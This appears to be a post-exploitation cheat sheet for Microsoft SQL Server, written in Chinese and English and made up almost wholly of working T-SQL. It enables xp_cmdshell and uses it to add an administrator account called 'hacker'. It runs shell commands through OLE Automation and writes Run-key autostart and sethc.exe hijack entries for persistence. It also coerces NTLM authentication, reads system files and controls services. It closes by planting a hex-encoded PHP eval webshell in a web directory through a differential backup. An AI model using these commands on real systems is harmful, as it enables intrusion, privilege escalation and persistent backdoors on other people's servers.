MSSQL Exploit¶
Stored procedures¶
xp_cmdshell¶
-- 检查 xp_cmdshell 是否存在
SELECT COUNT(*)
FROM master.sys.system_objects
WHERE name = 'xp_cmdshell' AND type = 'X';
-- 检查 xp_cmdshell 启用状态
EXEC sp_configure 'xp_cmdshell'
-- 检查 xp_cmdshell 启用状态
SELECT name, value, value_in_use
FROM sys.configurations
WHERE name = 'xp_cmdshell'
-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 禁用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 0
RECONFIGURE
EXEC sp_configure 'show advanced options', 0
RECONFIGURE
-- 执行命令
EXEC master..xp_cmdshell "net user hacker passwd@123 /add"
EXEC master..xp_cmdshell "net localgroup administrators hacker /add"
EXEC master..xp_cmdshell "net user hacker"
-- 删除 xp_cmdshell
EXEC sp_dropextendedproc 'xp_cmdshell'
-- 添加 xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
sp_oacreate¶
-- 检查 OLE Automation 组件状态
-- 检查 OLE Automation 是否启用
EXEC sp_configure 'Ole Automation Procedures'
-- 检查 OLE Automation 是否启用
SELECT name, value, value_in_use
FROM sys.configurations
WHERE name = 'Ole Automation Procedures'
-- 启用/禁用 OLE Automation
-- 启用 OLE Automation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- 禁用 OLE Automation
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
-- 执行命令
-- 使用 WScript.Shell 执行命令,无回显
DECLARE @shell INT EXEC sp_oacreate 'WScript.Shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c ipconfig /all > c:\ipconfig.txt'
-- 使用 BulkColumn 读取文件内容
SELECT BulkColumn
FROM OPENROWSET(BULK 'C:\ipconfig.txt', SINGLE_CLOB) AS Contents;
-- 删除命令执行结果文件
DECLARE @result INT
DECLARE @fso_token INT
EXEC sp_oacreate 'scripting.filesystemObject', @fso_token out
EXEC sp_oamethod @fso_token,'deletefile',null,'c:\whoami.txt'
EXEC sp_oadestroy @fso_token
xp_regwrite¶
-- 检查 xp_regwrite 是否存在
SELECT COUNT(*)
FROM master.sys.system_objects
WHERE name = 'xp_regwrite' AND type = 'X';
-- 写入键值
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name = 'VALUE',
@type = 'REG_SZ',
@value = '"PowerShell -ENC ..."'
Exploiting Techniques¶
SystemInfo¶
-- 查看所有链接服务器基本信息
SELECT name, product, provider, data_source, is_linked
FROM sys.servers
-- 查看链接服务器详细信息
EXEC sp_linkedservers
Base64 编码返回结果¶
-- 获取SQL Server实例中所有链接服务器的名称,并以Base64编码格式返回结果
SELECT res=(SELECT CAST(name as varbinary(max)) FOR XML PATH(''), BINARY BASE64)
FROM sys.servers
-- 查询SQL Server版本信息
SELECT (SELECT CAST(@@VERSION AS VARBINARY(MAX)) FOR XML PATH(''), BINARY BASE64) AS VersionInfo
-- 查询所有数据库名称
SELECT (SELECT CAST(name AS VARBINARY(MAX)) FROM sys.databases FOR XML PATH(''), BINARY BASE64) AS Databases
-- 查询所有SQL登录账户
SELECT (SELECT CAST(name AS VARBINARY(MAX)) FROM sys.sql_logins FOR XML PATH(''), BINARY BASE64) AS SqlLogins
-- 查询服务器角色成员
SELECT (SELECT CAST(member.name AS VARBINARY(MAX))
FROM sys.server_role_members rm
JOIN sys.server_principals role ON rm.role_principal_id = role.principal_id
JOIN sys.server_principals member ON rm.member_principal_id = member.principal_id
FOR XML PATH(''), BINARY BASE64) AS RoleMembers
-- 查询所有链接服务器配置
SELECT (SELECT CAST(name + '|' + provider + '|' + data_source AS VARBINARY(MAX))
FROM sys.servers
FOR XML PATH(''), BINARY BASE64) AS LinkedServers
-- 查询系统扩展存储过程
-- + CHAR(13) + CHAR(10) 添加换行符
SELECT (SELECT CAST(name + CHAR(13) + CHAR(10) AS VARBINARY(MAX))
FROM sys.system_objects
WHERE name LIKE 'xp_%' AND type = 'X'
FOR XML PATH(''), BINARY BASE64) AS ExtendedProcedures
-- 查询所有系统表
SELECT (SELECT CAST(name + CHAR(13) + CHAR(10) AS VARBINARY(MAX))
FROM sys.tables
WHERE is_ms_shipped = 1
FOR XML PATH(''), BINARY BASE64) AS SystemTables
-- 查询TCP/IP连接信息
SELECT (SELECT CAST(
'ID: ' + CAST(connection_id AS VARCHAR(36)) + CHAR(13) + CHAR(10) +
'IP: ' + ISNULL(client_net_address, 'NULL') + CHAR(13) + CHAR(10) +
'Auth: ' + ISNULL(auth_scheme, 'NULL') + CHAR(13) + CHAR(10) +
'----------------' + CHAR(13) + CHAR(10)
AS VARBINARY(MAX))
FROM sys.dm_exec_connections
FOR XML PATH(''), BINARY BASE64) AS FormattedConnections
Filesystem¶
Objects | Visual Basic for Applications
Objects | FileSystemObject object
-- Explore
EXEC xp_dirtree 'C:\Users',1,1
-- NTLM Coercion
EXEC xp_dirtree '\\${ip}\foo', 1, 1
-- cmd.exe /c whoami
SELECT servicename, service_account FROM sys.dm_server_services
-- Read file content
SELECT * FROM OPENROWSET(BULK N'C:\Windows\win.ini', SINGLE_CLOB) AS Contents
文件操作¶
-- 创建文件系统对象
DECLARE @fs INT, @file INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @fs OUT
-- 检查文件是否存在
DECLARE @exists BIT
EXEC sp_OAMethod @fs, 'FileExists', @exists OUT, 'C:\test.txt'
SELECT @exists AS FileExists
-- 创建文本文件
EXEC sp_OAMethod @fs, 'CreateTextFile', @file OUT, 'C:\test.txt', 2, True
EXEC sp_OAMethod @file, 'WriteLine', NULL, 'This is file content'
EXEC sp_OAMethod @file, 'Close'
-- 删除文件
EXEC sp_OAMethod @fs, 'DeleteFile', NULL, 'C:\test.txt'
-- 清理对象
EXEC sp_OADestroy @file
EXEC sp_OADestroy @fs
文件夹操作¶
-- 启用 OLE Automation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- 创建目录,不能一次性创建多个文件夹
DECLARE @fs INT, @r INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @fs OUT
EXEC sp_OAMethod @fs, 'CreateFolder', @r OUT, 'C:\NewFolder'
EXEC sp_OADestroy @fs
-- 删除文件夹
DECLARE @fs INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @fs OUT
EXEC sp_OAMethod @fs, 'DeleteFolder', NULL, 'C:\NewFolder'
EXEC sp_OADestroy @fs
-- 移动文件夹
DECLARE @fs INT
EXEC sp_OACreate 'Scripting.FileSystemObject', @fs OUT
EXEC sp_OAMethod @fs, 'MoveFolder', NULL, 'C:\OldFolder', 'C:\NewLocation\NewFolderName'
EXEC sp_OADestroy @fs
Registry¶
注册表自启动¶
-- 写入键值
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name = 'VALUE',
@type = 'REG_SZ',
@value = '"PowerShell -ENC ..."'
-- 删除键值
EXEC xp_regdeletevalue
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name = 'VALUE'
-- 枚举指定注册表键下的所有子键
EXEC xp_regenumkeys 'HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion'
-- 从注册表中读取指定键的值
EXEC xp_regread 'HKEY_LOCAL_MACHINE','Software\Microsoft\Windows\CurrentVersion\Run', 'VALUE'
映像劫持¶
-- 写入键值
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name = 'Debugger',
@type = 'REG_SZ',
@value = 'C:\windows\system32\cmd.exe'
-- 删除键值
EXEC xp_regdeletevalue
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',
@value_name = 'Debugger'
-- 枚举指定注册表键下的所有子键
EXEC xp_regenumkeys 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
-- 从注册表中读取指定键的值
EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE', 'Debugger'
Services¶
查询 Windows 服务的当前状态¶
-- 查询 RDP 服务的状态
EXEC xp_servicecontrol 'QUERYSTATE', 'SessionEnv'
EXEC xp_servicecontrol 'QUERYSTATE', 'TermService'
-- 启动服务
EXEC xp_servicecontrol 'START', 'SessionEnv'
-- 停止服务
EXEC xp_servicecontrol 'STOP', 'SessionEnv'
-- 暂停服务
EXEC xp_servicecontrol 'PAUSE', 'SessionEnv'
-- 继续服务
EXEC xp_servicecontrol 'CONTINUE', 'SessionEnv'
差异备份¶
-- 1. 创建数据库
CREATE DATABASE diff;
GO
-- 2. 使用该数据库
USE diff;
GO
-- 3. 初始备份
BACKUP DATABASE diff TO DISK = 'C:\diff.bak';
GO
-- 4. 创建表
CREATE TABLE [dbo].[shell] ([cmd] [image]);
GO
-- 5. 插入数据
-- WebShell 源码:<?php @eval($_GET['cmd']);?>
-- WebShell Hex 编码:0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e
INSERT INTO [dbo].[shell] (cmd)
VALUES (0x3c3f70687020406576616c28245f4745545b27636d64275d293b3f3e);
GO
-- 6. 差异备份到web目录
BACKUP DATABASE diff TO DISK = 'C:\phpstudy_pro\WWW\shell.php' WITH DIFFERENTIAL, FORMAT;
GO